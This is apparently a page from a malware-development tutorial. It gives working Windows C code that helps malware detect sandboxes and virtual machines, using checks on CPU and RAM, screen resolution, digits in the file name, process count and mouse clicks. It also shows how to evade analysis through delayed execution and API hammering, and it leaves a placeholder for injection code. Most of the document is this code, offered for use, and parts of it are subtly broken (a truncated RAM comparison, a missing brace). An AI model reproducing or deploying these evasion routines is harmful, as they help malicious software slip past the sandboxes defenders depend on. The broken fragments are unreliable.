Anti-Virtualization
Virtualization Detection Techniques
Hardware Specs
Virtualized environments do not have full access to the host machine's hardware. The lack of full access to the hardware can be used by malware to detect if it's being executed inside a virtual environment or sandbox.
The following code will check if there are are fewer than 2 processors, if there are less than 2 gigabytes of RAM and if there are fewer than 2 previously mounted USBs:
BOOL IsVenvByHardwareCheck() {
SYSTEM_INFO SysInfo = { 0 };
MEMORYSTATUSEX MemStatus = { .dwLength = sizeof(MEMORYSTATUSEX) };
HKEY hKey = NULL;
DWORD dwUsbNumber = NULL;
DWORD dwRegErr = NULL;
// CPU CHECK
GetSystemInfo(&SysInfo);
// less than 2 processors
if (SysInfo.dwNumberOfProcessors < 2){
return TRUE;
}
// RAM CHECK
if (!GlobalMemoryStatusEx(&MemStatus)) {
printf("\n\t[!] GlobalMemoryStatusEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
// less than 2 gb of ram
if ((DWORD)MemStatus.ullTotalPhys < (DWORD)(2 * 1073741824)) {
return TRUE;
}
// NUMBER OF USB's EVER MOUNTED
if ((dwRegErr = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet001\\Enum\\USBSTOR", NULL, KEY_READ, &hKey)) != ERROR_SUCCESS) {
printf("\n\t[!] RegOpenKeyExA Failed With Error : %d | 0x%0.8X \n", dwRegErr, dwRegErr);
return FALSE;
}
if ((dwRegErr = RegQueryInfoKeyA(hKey, NULL, NULL, NULL, &dwUsbNumber, NULL, NULL, NULL, NULL, NULL, NULL, NULL)) != ERROR_SUCCESS) {
printf("\n\t[!] RegQueryInfoKeyA Failed With Error : %d | 0x%0.8X \n", dwRegErr, dwRegErr);
return FALSE;
}
// less than 2 usb's ever mounted
if (dwUsbNumber < 2) {
return TRUE;
}
RegCloseKey(hKey);
return FALSE;
}
/*
printf("\n[#] Running IsVenvByHardwareCheck ... ");
if (IsVenvByHardwareCheck())
printf("<<!>> IsVenvByHardwareCheck Detected A Virtual Environment <<!>> \n");
else
printf("[+] DONE \n");
*/
Machine Resolution Anti-Virtualization
// the callback function called whenever 'EnumDisplayMonitors' detects an display
BOOL CALLBACK ResolutionCallback(HMONITOR hMonitor, HDC hdcMonitor, LPRECT lpRect, LPARAM ldata) {
int X = 0,
Y = 0;
MONITORINFO MI = { .cbSize = sizeof(MONITORINFO) };
if (!GetMonitorInfoW(hMonitor, &MI)) {
printf("\n\t[!] GetMonitorInfoW Failed With Error : %d \n", GetLastError());
return FALSE;
}
// calculating the X coordinates of the desplay
X = MI.rcMonitor.right - MI.rcMonitor.left;
// calculating the Y coordinates of the desplay
Y = MI.rcMonitor.top - MI.rcMonitor.bottom;
// if numbers are in negative value, reverse them
if (X < 0)
X = -X;
if (Y < 0)
Y = -Y;
/*
if not :
- 1920x1080 - 1920x1200 - 1920x1600 - 1920x900
- 2560x1080 - 2560x1200 - 2560x1600 - 1920x900
- 1440x1080 - 1440x1200 - 1440x1600 - 1920x900
*/
if ((X != 1920 && X != 2560 && X != 1440) || (Y != 1080 && Y != 1200 && Y != 1600 && Y != 900))
*((BOOL*)ldata) = TRUE;
return TRUE;
}
BOOL CheckMachineResolution() {
BOOL SANDBOX = FALSE;
EnumDisplayMonitors(NULL, NULL, (MONITORENUMPROC)ResolutionCallback, (LPARAM)(&SANDBOX));
return SANDBOX;
}
/*
printf("\n[#] Running CheckMachineResolution ... ");
if (CheckMachineResolution())
printf("<<!>> CheckMachineResolution Detected A Virtual Environment <<!>> \n");
else
printf("[+] DONE \n");
*/
File Name Anti-Virtualization
Sandboxes often rename files as a method of classification. We will try to determine if the characters in the file name are digits. If more than 3 digits are in the file name, then we will assume it is in a sandbox.
BOOL ExeDigitsInNameCheck() {
CHAR Path [MAX_PATH * 3];
CHAR cName [MAX_PATH];
DWORD dwNumberOfDigits = NULL;
// getting the current filename (with the full path)
if (!GetModuleFileNameA(NULL, Path, MAX_PATH * 3)) {
printf("\n\t[!] GetModuleFileNameA Failed With Error : %d \n", GetLastError());
return FALSE;
}
// to prevent a buffer overflow - getting the filename from the full path
if (lstrlenA(PathFindFileNameA(Path)) < MAX_PATH)
lstrcpyA(cName, PathFindFileNameA(Path));
// counting number of digits
for (int i = 0; i < lstrlenA(cName); i++){
if (isdigit(cName[i]))
dwNumberOfDigits++;
}
// max 3 digits allowed
if (dwNumberOfDigits > 3){
return TRUE;
}
return FALSE;
}
/*
printf("\n[#] Running ExeDigitsInNameCheck ... ");
if (ExeDigitsInNameCheck())
printf("<<!>> ExeDigitsInNameCheck Detected A Virtual Environment <<!>> \n");
else
printf("[+] DONE \n");
*/
Number Of Running Processes
Sandboxes will generally not have many applications installed and therefore will have fewer processes running. A Windows system should have at least 60-70 processes running.
BOOL CheckMachineProcesses() {
DWORD adwProcesses [1024];
DWORD dwReturnLen = NULL,
dwNmbrOfPids = NULL;
if (!EnumProcesses(adwProcesses, sizeof(adwProcesses), &dwReturnLen)) {
printf("\n\t[!] EnumProcesses Failed With Error : %d \n", GetLastError());
return FALSE;
}
dwNmbrOfPids = dwReturnLen / sizeof(DWORD);
if (dwNmbrOfPids < 50) // less than 50 process, its a sandbox
return TRUE;
return FALSE;
}
/*
printf("\n[#] Running CheckMachineProcesses ... ");
if (CheckMachineProcesses())
printf("<<!>> CheckMachineProcesses Detected A Virtual Environment <<!>> \n");
else
printf("[+] DONE \n");
*/
User Interaction
The lack of user interaction can be an indicator of a possible sandbox environment. For example, the malware can check if an environment does not receive any mouse clicks or keystrokes over a certain period.
#include <Windows.h>
#include <stdio.h>
#define MONITOR_TIME 20000 // monitor mouse clicks for 20 seconds
// global hook handle variable
HHOOK g_hMouseHook = NULL;
// global mouse clicks counter
DWORD g_dwMouseClicks = NULL;
// the callback function that will be executed whenever the user clicked a mouse button
LRESULT CALLBACK HookEvent(int nCode, WPARAM wParam, LPARAM lParam){
// WM_RBUTTONDOWN : "Right Mouse Click"
// WM_LBUTTONDOWN : "Left Mouse Click"
// WM_MBUTTONDOWN : "Middle Mouse Click"
if (wParam == WM_LBUTTONDOWN || wParam == WM_RBUTTONDOWN || wParam == WM_MBUTTONDOWN) {
printf("[+] Mouse Click Recorded \n");
g_dwMouseClicks++;
}
return CallNextHookEx(g_hMouseHook, nCode, wParam, lParam);
BOOL MouseClicksLogger(){
MSG Msg = { 0 };
// installing hook
g_hMouseHook = SetWindowsHookExW(
WH_MOUSE_LL,
(HOOKPROC)HookEvent,
NULL,
NULL
);
if (!g_hMouseHook) {
printf("[!] SetWindowsHookExW Failed With Error : %d \n", GetLastError());
}
// process unhandled events
while (GetMessageW(&Msg, NULL, NULL, NULL)) {
DefWindowProcW(Msg.hwnd, Msg.message, Msg.wParam, Msg.lParam);
}
return TRUE;
}
int main() {
HANDLE hThread = NULL;
DWORD dwThreadId = NULL;
// running the hooking function in a seperate thread for 'MONITOR_TIME' ms
hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)MouseClicksLogger, NULL, NULL, &dwThreadId);
if (hThread) {
printf("\t\t<<>> Thread %d Is Created To Monitor Mouse Clicks For %d Seconds <<>>\n\n", dwThreadId, (MONITOR_TIME / 1000));
WaitForSingleObject(hThread, MONITOR_TIME);
}
// unhooking
if (g_hMouseHook && !UnhookWindowsHookEx(g_hMouseHook)) {
printf("[!] UnhookWindowsHookEx Failed With Error : %d \n", GetLastError());
}
// the test
printf("[i] Monitored User's Mouse Clicks : %d ... ", g_dwMouseClicks);
// if less than 5 clicks - its a sandbox
if (g_dwMouseClicks > 5)
printf("[+] Passed The Test \n");
else
printf("[-] Posssibly A Virtual Environment \n");
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
Delay Execution Techniques
Delay execution is a common technique utilized to bypass sandboxed environments. Sandboxes typically have time constraints that prevent them from analyzing a binary for a long duration.
Fast-Forwards Detection
The majority of sandboxes have implemented mitigations to counter execution delays. Such mitigations may involve fast-forwarding the delay durations so we must verify that the delay has taken place using the GetTickCount64 API.
BOOL DelayFunction(DWORD dwMilliSeconds){
DWORD T0 = GetTickCount64();
// The code needed to delay the execution for 'dwMilliSeconds' ms
DWORD T1 = GetTickCount64();
// Slept for at least 'dwMilliSeconds' ms, then 'DelayFunction' succeeded
if ((DWORD)(T1 - T0) < dwMilliSeconds)
return FALSE;
else
return TRUE;
}
WaitForSingleObject Delaying
BOOL DelayExecutionVia_WFSO(FLOAT ftMinutes) {
// converting minutes to milliseconds
DWORD dwMilliSeconds = ftMinutes * 60000;
HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
DWORD _T0 = NULL,
_T1 = NULL;
printf("[i] Delaying Execution Using \"WaitForSingleObject\" For %0.3d Seconds", (dwMilliSeconds / 1000));
_T0 = GetTickCount64();
// sleeping for 'dwMilliSeconds' ms
if (WaitForSingleObject(hEvent, dwMilliSeconds) == WAIT_FAILED) {
printf("[!] WaitForSingleObject Failed With Error : %d \n", GetLastError());
return FALSE;
}
_T1 = GetTickCount64();
// slept for at least 'dwMilliSeconds' ms, then 'DelayExecutionVia_WFSO' succeeded, otherwize it failed
if ((DWORD)(_T1 - _T0) < dwMilliSeconds)
return FALSE;
printf("\n\t>> _T1 - _T0 = %d \n", (DWORD)(_T1 - _T0));
printf("[+] DONE \n");
CloseHandle(hEvent);
return TRUE;
}
/*
printf("-------------------------------------------------------------------\n");
if (!DelayExecutionVia_WFSO(0.1)) {
printf("\n\t\t<<!>> DelayExecutionVia_WFSO FAILED <<!>>\n");
}
*/
MsgWaitForMultipleObjectsEx Delaying
BOOL DelayExecutionVia_MWFMOEx(FLOAT ftMinutes) {
// converting minutes to milliseconds
DWORD dwMilliSeconds = ftMinutes * 60000;
HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
DWORD _T0 = NULL,
_T1 = NULL;
printf("[i] Delaying Execution Using \"MsgWaitForMultipleObjectsEx\" For %0.3d Seconds", (dwMilliSeconds / 1000));
_T0 = GetTickCount64();
// sleeping for 'dwMilliSeconds' ms
if (MsgWaitForMultipleObjectsEx(1, &hEvent, dwMilliSeconds, QS_HOTKEY, NULL) == WAIT_FAILED) {
printf("[!] MsgWaitForMultipleObjectsEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
_T1 = GetTickCount64();
// slept for at least 'dwMilliSeconds' ms, then 'DelayExecutionVia_MWFMOEx' succeeded, otherwize it failed
if ((DWORD)(_T1 - _T0) < dwMilliSeconds)
return FALSE;
printf("\n\t>> _T1 - _T0 = %d \n", (DWORD)(_T1 - _T0));
printf("[+] DONE \n");
CloseHandle(hEvent);
return TRUE;
}
/*
printf("-------------------------------------------------------------------\n");
if (!DelayExecutionVia_MWFMOEx(0.1)) {
printf("\n\t\t<<!>> DelayExecutionVia_MWFMOEx FAILED <<!>>\n");
}
*/
NtWaitForSingleObject Delaying
typedef NTSTATUS (NTAPI* fnNtWaitForSingleObject)(
HANDLE Handle,
BOOLEAN Alertable,
PLARGE_INTEGER Timeout
);
BOOL DelayExecutionVia_NtWFSO(FLOAT ftMinutes) {
// converting minutes to milliseconds
DWORD dwMilliSeconds = ftMinutes * 60000;
HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
LONGLONG Delay = NULL;
NTSTATUS STATUS = NULL;
LARGE_INTEGER DelayInterval = { 0 };
fnNtWaitForSingleObject pNtWaitForSingleObject = (fnNtWaitForSingleObject)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtWaitForSingleObject");
DWORD _T0 = NULL,
_T1 = NULL;
printf("[i] Delaying Execution Using \"NtWaitForSingleObject\" For %0.3d Seconds", (dwMilliSeconds / 1000));
// converting from milliseconds to the 100-nanosecond - negative time interval
Delay = dwMilliSeconds * 10000;
DelayInterval.QuadPart = - Delay;
_T0 = GetTickCount64();
// sleeping for 'dwMilliSeconds' ms
if ((STATUS = pNtWaitForSingleObject(hEvent, FALSE, &DelayInterval)) != 0x00 && STATUS != STATUS_TIMEOUT) {
printf("[!] NtWaitForSingleObject Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
_T1 = GetTickCount64();
// slept for at least 'dwMilliSeconds' ms, then 'DelayExecutionVia_NtWFSO' succeeded, otherwize it failed
if ((DWORD)(_T1 - _T0) < dwMilliSeconds)
return FALSE;
printf("\n\t>> _T1 - _T0 = %d \n", (DWORD)(_T1 - _T0));
printf("[+] DONE \n");
CloseHandle(hEvent);
return TRUE;
}
/*
printf("-------------------------------------------------------------------\n");
if (!DelayExecutionVia_NtWFSO(0.1)) {
printf("\n\t\t<<!>> DelayExecutionVia_NtWFSO FAILED <<!>>\n");
}
*/
NtDelayExecution Delaying
typedef NTSTATUS (NTAPI *fnNtDelayExecution)(
BOOLEAN Alertable,
PLARGE_INTEGER DelayInterval
);
BOOL DelayExecutionVia_NtDE(FLOAT ftMinutes) {
// converting minutes to milliseconds
DWORD dwMilliSeconds = ftMinutes * 60000;
LARGE_INTEGER DelayInterval = { 0 };
LONGLONG Delay = NULL;
NTSTATUS STATUS = NULL;
fnNtDelayExecution pNtDelayExecution = (fnNtDelayExecution)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtDelayExecution");
DWORD _T0 = NULL,
_T1 = NULL;
printf("[i] Delaying Execution Using \"NtDelayExecution\" For %0.3d Seconds", (dwMilliSeconds / 1000));
// converting from milliseconds to the 100-nanosecond - negative time interval
Delay = dwMilliSeconds * 10000;
DelayInterval.QuadPart = - Delay;
_T0 = GetTickCount64();
// sleeping for 'dwMilliSeconds' ms
if ((STATUS = pNtDelayExecution(FALSE, &DelayInterval)) != 0x00 && STATUS != STATUS_TIMEOUT) {
printf("[!] NtDelayExecution Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
_T1 = GetTickCount64();
// slept for at least 'dwMilliSeconds' ms, then 'DelayExecutionVia_NtDE' succeeded, otherwize it failed
if ((DWORD)(_T1 - _T0) < dwMilliSeconds)
return FALSE;
printf("\n\t>> _T1 - _T0 = %d \n", (DWORD)(_T1 - _T0));
printf("[+] DONE \n");
return TRUE;
}
/*
printf("-------------------------------------------------------------------\n");
if (!DelayExecutionVia_NtDE(0.1)) {
printf("\n\t\t<<!>> DelayExecutionVia_NtDE FAILED <<!>>\n");
}
*/
API Hammering
API hammering is a sandbox bypass technique where random WinAPIs are rapidly called to delay the execution of a program. It can also be used to obfuscate the call stack of the running threads in the implementation. The malicious function calls in the implementation's logic will be hidden with random benign WinAPIs calls.
- API Hammering w/ CreateFileW, WriteFile and ReadFile
#include <Windows.h>
#include <stdio.h>
// file name to be created
#define TMPFILE L"pene.tmp"
// macro that calculate the 'stress' value
#define SECTOSTRESS(i)( (int)i * 196 )
// comment to show case api hammering for execution delation
//\
#define APIHAMMERING_IN_BACKGROUND
#ifndef APIHAMMERING_IN_BACKGROUND
#define APIHAMMERING_AS_DELAY
#endif // !APIHAMMERING_IN_BACKGROUND
BOOL ApiHammering(DWORD dwStress) {
WCHAR szPath [MAX_PATH * 2],
szTmpPath [MAX_PATH];
HANDLE hRFile = INVALID_HANDLE_VALUE,
hWFile = INVALID_HANDLE_VALUE;
DWORD dwNumberOfBytesRead = NULL,
dwNumberOfBytesWritten = NULL;
PBYTE pRandBuffer = NULL;
SIZE_T sBufferSize = 0xFFFFF; // 1048575 byte
INT Random = 0;
// getting the tmp folder path
if (!GetTempPathW(MAX_PATH, szTmpPath)) {
printf("[!] GetTempPathW Failed With Error : %d \n", GetLastError());
return FALSE;
}
// constructing the file path
wsprintfW(szPath, L"%s%s", szTmpPath, TMPFILE);
for (SIZE_T i = 0; i < dwStress; i++){
// creating the file in write mode
if ((hWFile = CreateFileW(szPath, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_TEMPORARY, NULL)) == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileW Failed With Error : %d \n", GetLastError());
return FALSE;
}
// allocating a buffer and filling it with a random value
pRandBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sBufferSize);
Random = rand() % 0xFF;
memset(pRandBuffer, Random, sBufferSize);
// writing the random data into the file
if (!WriteFile(hWFile, pRandBuffer, sBufferSize, &dwNumberOfBytesWritten, NULL) || dwNumberOfBytesWritten != sBufferSize) {
printf("[!] WriteFile Failed With Error : %d \n", GetLastError());
printf("[i] Written %d Bytes of %d \n", dwNumberOfBytesWritten, sBufferSize);
return FALSE;
}
// clearing the buffer & closing the handle of the file
RtlZeroMemory(pRandBuffer, sBufferSize);
CloseHandle(hWFile);
// opennig the file in read mode & delete when closed
if ((hRFile = CreateFileW(szPath, GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE, NULL)) == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileW Failed With Error : %d \n", GetLastError());
return FALSE;
}
// reading the random data written before
if (!ReadFile(hRFile, pRandBuffer, sBufferSize, &dwNumberOfBytesRead, NULL) || dwNumberOfBytesRead != sBufferSize) {
printf("[!] ReadFile Failed With Error : %d \n", GetLastError());
printf("[i] Read %d Bytes of %d \n", dwNumberOfBytesRead, sBufferSize);
return FALSE;
}
// clearing the buffer & freeing it
RtlZeroMemory(pRandBuffer, sBufferSize);
HeapFree(GetProcessHeap(), NULL, pRandBuffer);
// closing the handle of the file - deleting it
CloseHandle(hRFile);
}
return TRUE;
}
#ifdef APIHAMMERING_AS_DELAY
int main() {
// GetTickCount64() is used to show how much ApiHammering was able to delay the execution
// and is not actually needed for the implementation
DWORD T0 = NULL,
T1 = NULL;
T0 = GetTickCount64();
if (!ApiHammering(SECTOSTRESS(5))) {
return -1;
}
T1 = GetTickCount64();
printf(">>> ApiHammering Delayed Execution For : %d \n", (DWORD)(T1 - T0));
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
#endif // APIHAMMERING_AS_DELAY
#ifdef APIHAMMERING_IN_BACKGROUND
int main() {
DWORD dwThreadId = NULL;
if (!CreateThread(NULL, NULL, ApiHammering, -1, NULL, &dwThreadId)) {
printf("[!] CreateThread Failed With Error : %d \n", GetLastError());
return -1;
}
printf("[+] Thread %d Was Created To Run ApiHammering In The Background\n", dwThreadId);
/*
injection code can be here
*/
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
#endif // APIHAMMERING_IN_BACKGROUND
Last updated